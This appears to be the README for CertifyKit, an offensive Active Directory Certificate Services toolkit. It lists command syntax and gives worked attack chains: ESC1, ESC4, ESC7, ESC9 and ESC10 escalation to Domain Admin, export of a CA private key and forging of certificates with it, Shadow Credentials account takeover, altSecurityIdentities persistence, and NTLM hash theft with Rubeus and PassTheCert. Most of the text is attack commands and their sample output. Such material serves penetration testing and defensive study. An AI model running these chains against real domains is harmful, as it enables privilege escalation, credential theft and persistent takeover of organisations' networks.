CertifyKit is a fork of Certify with following handy functions in addition:
- THEFT4 - Search certificate file in folder recursively or search certificate in certificate stores
- THEFT1/DPERSIST1 - Export certificate or golden certificate
- ESC1 - Create machine account
- ESC4 - Alter template to Smart Card Authen template
- ESC7 - Issue pending or deleted certificate request
- ESC9/ESC10 - Alter dNSHostName of a machine account or alter userPrincipalName of a user/machine account
- MISC - Shadow Credential attack
- MISC - Account persistence with altSecurityIdentities
C:\>.\CertifyKit.exe
CertifyKit (Hagrid29 version of Certify)
More info: https://github.com/Hagrid29/CertifyKit/
Find information about all registered CAs:
CertifyKit.exe cas [/ca:SERVER\ca-name | /domain:domain.local | /ldapserver:server.domain.local | /path:CN=Configuration,DC=domain,DC=local] [/hideAdmins] [/showAllPermissions] [/skipWebServiceChecks] [/quiet]
Find all enabled certificate templates:
CertifyKit.exe find [/ca:SERVER\ca-name | /domain:domain.local | /ldapserver:server.domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet]
Find vulnerable/abusable certificate templates using default low-privileged groups:
CertifyKit.exe find /vulnerable [/ca:SERVER\ca-name | /domain:domain.local | /ldapserver:server.domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet]
Find vulnerable/abusable certificate templates using all groups the current user context is a part of:
CertifyKit.exe find /vulnerable /currentuser [/ca:SERVER\ca-name | /domain:domain.local | /ldapserver:server.domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet]
Find enabled certificate templates where ENROLLEE_SUPPLIES_SUBJECT is enabled:
CertifyKit.exe find /enrolleeSuppliesSubject [/ca:SERVER\ca-name| /domain:domain.local | /ldapserver:server.domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet]
Find enabled certificate templates capable of client authentication:
CertifyKit.exe find /clientauth [/ca:SERVER\ca-name | /domain:domain.local | /ldapserver:server.domain.local | /path:CN=Configuration,DC=domain,DC=local] [/quiet]
Find all enabled certificate templates, display all of their permissions, and don't display the banner message:
CertifyKit.exe find /showAllPermissions /quiet [/ca:COMPUTER\CA_NAME | /domain:domain.local | /ldapserver:server.domain.local | /path:CN=Configuration,DC=domain,DC=local]
Find all enabled certificate templates and output to a json file:
CertifyKit.exe find /json /log:C:\Temp\out.json [/ca:COMPUTER\CA_NAME | /domain:domain.local | /ldapserver:server.domain.local | /path:CN=Configuration,DC=domain,DC=local]
Enumerate access control information for PKI objects:
CertifyKit.exe pkiobjects [/domain:domain.local | /ldapserver:server.domain.local] [/showAdmins] [/quiet]
Request a new certificate using the current user context:
CertifyKit.exe request /ca:SERVER\ca-name [/subject:X] [/template:Y] [/install]
Request a new certificate using the current machine context:
CertifyKit.exe request /ca:SERVER\ca-name /machine [/subject:X] [/template:Y] [/install]
Request a new certificate using the current user context but for an alternate name (if supported):
CertifyKit.exe request /ca:SERVER\ca-name /template:Y /altname:USER
Request a new certificate on behalf of another user, using an enrollment agent certificate:
CertifyKit.exe request /ca:SERVER\ca-name /template:Y /onbehalfof:DOMAIN\USER /enrollcert:C:\Temp\enroll.pfx [/enrollcertpw:CERT_PASSWORD]
Alter the template to smart card template and request a new certificate for an alternate name and restore the template to original state:
CertifyKit.exe request /ca:SERVER\ca-name /template:Y /alter /altname:USER
Download an already requested certificate:
CertifyKit.exe download /ca:SERVER\ca-name /id:ID [/install] [/machine]
Issue a pending or deleted certificate:
CertifyKit.exe download /ca:SERVER\ca-name /issue /id:ID
List all certificates in store My,CurrentUser by default or in a folder recursively:
CertifyKit.exe list [/storename:X | /sotrelocation:Y | /certificate:C:\Users\] [/password:CERT_PASSWORD] [/recurse]
Read a certificate specifying thumbprint or file or base64 string with password and export as file or base64 string with a password:
CertifyKit.exe list /certificate:THUMBPRINT/FILE/BASE64 [/outfile:exportfile.pfx | /base64] /password:CERT_PASSWORD /encpass:ENC_PASSWORD
Import a certificate from file or base64 string with password to store My,CurrentUser by default
CertifyKit.exe list /certificate:FILE/BASE64 [/outfile:exportfile.pfx | /base64] /password:CERT_PASSWORD [/storename:X | /sotrelocation:Y]
Build chain of a certificate from store My,CurrentUser by default specifying thumbprint:
CertifyKit.exe list /certificate:THUMBPRINT [/storename:X | /sotrelocation:Y] /chain
Remove a certificate from store My,CurrentUser by default specifying thumbprint:
CertifyKit.exe list /certificate:THUMBPRINT /remove [/storename:X | /sotrelocation:Y]
Backup private key for a Certificate Authority's CA certificate on CA server, which could be used to forge AD CS certificate:
Certify list /golden [/outfile:C:\backup.pfx | /base64] [/encpass:ENC_PASSWORD]
Create or remove a machine account:
Certify account /machine:MACHINE [/createpc | /removepc] [/domain:domain.local | /ldapserver:server.domain.local]
Alter dNSHostName of a machine account or alter userPrincipalName of a user/machine account or clear userPrincipalName of a user account:
Certify account [/machine:MACHINE | /user:USER] [/dns:new.domain.local | /upn:[email protected]] [clear]
Alter or query attribute of an account:
Certify account [/machine:MACHINE | /user:USER] /attribute:ATTRIBUTE [/query | /value:VALUE | /clear | /remove:ID] [/append]
Shadow credentail attack on a machine account and output self signed certificate as base64 string by default:
Certify account /machine:MACHINE /shadow [/outfile:C:\xxx.pfx | /install] [/encpass:ENC_PASSWORD]
Query or Remove or clear KeyCredentialLink on a user account:
Certify account /user:USER /shadow [/list | /remove:ID | /clear]
Map a certificate to a machine account for the purpose of authentication:
Certify account /machine:MACHINE /altsecid /certificate:THUMBPRINT/FILE/BASE64 [/password:CERT_PASSWORD]
Query or Remove or clear altSecurityIdentities on a user account:
Certify account /user:USER /altsecid [/list | /remove:ID | /clear]
Search certificate files in a folder recursively
CertifyKit.exe list /certificate:C:\Users\ /recurse
List certificates in store for personal certificates assigned to the local machine.
C:\>.\CertifyKit.exe list /storename:my /storelocation:localmachine
CertifyKit (Hagrid29 version of Certify)
More info: https://github.com/Hagrid29/CertifyKit/
[*] Action: List Certificates
Location : My, LocalMachine
Issuer : CN=corp-CORPADCS-CA-1, DC=corp, DC=local
HasPrivateKey : True
KeyExportable : True
Thumbprint : 64F8A2CCF06C7609918D8DA66B1A29B91722E392
EnhancedKeyUsages : <null> [!] Certificate can be used for client authentication!
SubjectAltName :
Export certificate specifying thumbprint to file
C:\>.\CertifyKit.exe list /storename:my /storelocation:localmachine /certificate:64F8A2CCF06C7609918D8DA66B1A29B91722E392 /outfile:cert.pfx
CertifyKit (Hagrid29 version of Certify)
More info: https://github.com/Hagrid29/CertifyKit/
[*] Action: List Certificates
[*] Export certificate : cert.pfx
Certify completed in 00:00:00.0944640
Export CA's certificate with private key on CA server
CertifyKit.exe list /golden /outfile:gold.p12
Forge a certificate with subject alternative name "[email protected]" offline with ForgeCert
ForgeCert.exe --CaCertPath gold.p12.p12 --CaCertPassword "" --Subject "CN=administrator" --SubjectAltName "[email protected]" --NewCertPath admin.pfx --NewCertPassword ""
Certify supply option /machine
to request certificate in machine account context. It requires administrative privilege on local machine. Instead, we could
Create machine account
CertifyKit.exe account /machine:mypc /password:P@ssw0rd123 /create
Inject TGT of machine account with Rubeus
Rubeus.exe asktgt /user:mypc /password:P@ssw0rd123 /ptt
Request a new certificate for vulnerable template/CA, specifying a administrator
as the alternate principal, and install the certificate:
CertifyKit.exe request /ca:corpadcs.corp.local\corp-CORPADCS-CA-1 /template:VulnTemplate /altname:administrator /install
If we have write privilege and enroll privilege over a certificate template, we could alter the template to smart card template which vulnerable as ESC1
CertifyKit.exe request /ca:corpadcs.corp.local\corp-CORPADCS-CA-1 /template:VulnTemplate /alter /altname:administrator
Assume we are CA manager. We could escalate privilege by issuing pending/deleted certificate
Enroll a new certificate for a template vulnerable as ESC1 except no enroll right require. Default template SubCA
fulfil the requirement. Failed enrollment is expected.
CertifyKit.exe request /ca:corpadcs.corp.local\corp-CORPADCS-CA-1 /template:SubCA /altname:administrator
Issue the failed certificate request with CA manager privilege (the command work on server 2016+ only)
CertifyKit.exe download /issue /id:145
Download the certificate
CertifyKit.exe download /id:145
Assume
-
VulnTemplate set attribute
msPKI-Enrollment-Flag
to valueNO_SECURITY_EXTENSION
-
VulnTemplate contain suitable
EKU
-
StrongCertificateBindingEnforcement
set to 0 or 1 (default is 1) -
VulnTemplate set attribute
msPKI-Certificate-Name-Flag
to valueSUBJECT_ALT_REQUIRE_UPN
-
Write privilege over a user account or a machine account
Example of machine account scenario
Add "Shadow Credential" to machine account Mypc
CertifyKit.exe account /machineLmypc /shadow /outfile:mypc-shadow.pfx
Change userPrincipalName
of Mypc to Domain Admin
CertifyKit.exe account /machine:mypc /upn:administrator
Authenticate as Mypc and inject TGT
Rubeus.exe /user:mypc /certificate:mypc-shadow.pfx /ptt
Enroll a new certificate for the vulnerable template
CertifyKit.exe request /ca:corpadcs.corp.local\corp-CORPADCS-CA-1 /template:VulnTemplate /install
Clear userPrincipalName
of Mypc
CertifyKit.exe account /user:mypc /upn /clear
Authenticate as Domain Admin
Rubeus.exe /user:administrator /certificate:4E4C47F105D71D353CC45BF3F33B83B2721B0416
Case 1 (Kerberos Certificate Mapping)
Assume:
StrongCertificateBindingEnforcement
set to 0 (default is 1)
User Account scenario
- Write privilege over a user account
Machine account scenario
- Write privilege over a machine account
- VulnTemplate set attribute
msPKI-Certificate-Name-Flag
to valueSUBJECT_ALT_REQUIRE_UPN
- Machine account have enroll privilege on VulnTemplate
- VulnTemplate contain suitable
EKU
Example of user account scenario
Add "Shadow Credential" to account User02
Change userPrincipalName
of User02 to DNS hostname of Domain Controller (or Domain Admin account: administrator)
CertifyKit.exe account /user:user02 /upn:[email protected]
Authenticate as User02 and inject TGT
Enroll a new certificate for template user
CertifyKit.exe request /ca:corpadcs.corp.local\corp-CORPADCS-CA-1 /template:user /install
Restore userPrincipalName
of User02 to original value
Authenticate as Domain Controller using Kerberos
Rubeus.exe /user:corpdc01 /certificate:4E4C47F105D71D353CC45BF3F33B83B2721B0416
Case 2 (Schannel Certificate Mapping)
Assume:
CertificateMappingMethods
contains UPN bit flag (0x4) (Default value 0x18 (0x8 | 0x10), old value 0x1F.)- Write privilege over User02
Additional requirement to compromise user account:
- there is no userPrincipalName set or the userPrincipalName doesn’t match the sAMAccountName of that account
Add "Shadow Credential" to account User02
Change userPrincipalName
of user02 to DNS hostname of Domain Controller (or Domain Admin account: [email protected])
Authenticate as User02 and inject TGT
Enroll a new certificate for template user
Restore userPrincipalName
of User02 to original value
Authenticate as machine account using Schannel with PassTheCert to add RBCD
PassTheCert.exe --server corpadcs.corp.local --cert-path .\esc10-2.pfx --rbcd --target "CN=CORPDC01,OU=Domain Controllers,DC=corp,DC=local" --sid S-1-5-21-3686061768-1206333381-2520098238-1104
If we have write privilege over an account, we could take over the account by manipulating its msDS-KeyCredentialLink
attribute, effectively adding "Shadow Credentials" to the target account.
CertifyKit.exe account /user:user02 /shadow /outfile:user02-shadow.pfx
Authenticate with the "Shadow Credential", and steal NTLM hash
Rubeus.exe asktgt /user:user02 /certificate:user02-shadow.pfx /getcredentials
List "Shadow Credential" added to an account
C:\>.\CertifyKit.exe account /user:user02 /shadow /list
CertifyKit (Hagrid29 version of Certify)
More info: https://github.com/Hagrid29/CertifyKit/
[*] Action: Account Operation
[*] Account user02 attribute:
msDS-KeyCredentialLink :
[0] : DeviceID: 54c93625-7866-41ba-96fe-5c742cc423f9 | Creation Time: 8/21/2022 11:35:46 PM
[1] : DeviceID: b130c63d-b1f8-404a-889e-a705ddf9abcb | Creation Time: 8/21/2022 11:35:21 PM
Remove specific "Shadow Credential"
CertifyKit.exe account /user:user02 /remove:0
Clear all "Shadow Credential"
CertifyKit.exe account /user:user02 /shadow /clear
If we have write privilege over an account, we could map a certificate to the account for the purpose of authentication by manipulating its altSecurityIdentities
attribute
Assume we obtained Domain Admin privilege. We could perform persistence attack on multiple accounts
Request a certificate for persistence attack (Alter the template to smart card template and leave the subjectAltName
blank)
C:\> .\CertifyKit.exe request /ca:corpadcs.corp.local\corp-CORPADCS-CA-1 /template:AnyTemplate /alter /install
C:\>.\CertifyKit.exe list
CertifyKit (Hagrid29 version of Certify)
More info: https://github.com/Hagrid29/CertifyKit/
[*] Action: List Certificates
Location : My, CurrentUser
Issuer : CN=corp-CORPADCS-CA-1, DC=corp, DC=local
HasPrivateKey : True
KeyExportable : True
Thumbprint : F5EE8B01C33DDF4161E554DD2FB7ED63503FEF12
EnhancedKeyUsages :
Client Authentication [!] Certificate can be used for client authentication!
Smart Card Logon [!] Certificate can be used for client authentication!
SubjectAltName :
Map the certificate to multiple user
C:\>.\CertifyKit.exe account /machine:testpc /altsecid /certificate:F5EE8B01C33DDF4161E554DD2FB7ED63503FEF12
C:\>.\CertifyKit.exe account /user:user02 /altsecid /certificate:F5EE8B01C33DDF4161E554DD2FB7ED63503FEF12
Authenticate as multiple users with a single certificate, and steal NTLM hash
C:\>.\Rubeus.exe asktgt /user:testpc /certificate:F5EE8B01C33DDF4161E554DD2FB7ED63503FEF12 /getcredentials
C:\>.\Rubeus.exe asktgt /user:user02 /certificate:F5EE8B01C33DDF4161E554DD2FB7ED63503FEF12 /getcredentials
-
/altsecid
require CA signed cert, while/shadow
cert can be self sign -
/altsecid
cert could be revoked, while/shadow
self sign cert could not be revoked -
/altsecid
can map to multiple account, while/shadow
cert can only map to signal account
- https://github.com/GhostPack/Certify
- https://research.ifcr.dk/certipy-2-0-bloodhound-new-escalations-shadow-credentials-golden-certificates-and-more-34d1c26f0dc6
- https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7
- https://github.com/cfalta/PoshADCS
- https://github.com/eladshamir/Whisker
- https://github.com/Kevin-Robertson/Powermad
- https://github.com/TheWover/CertStealer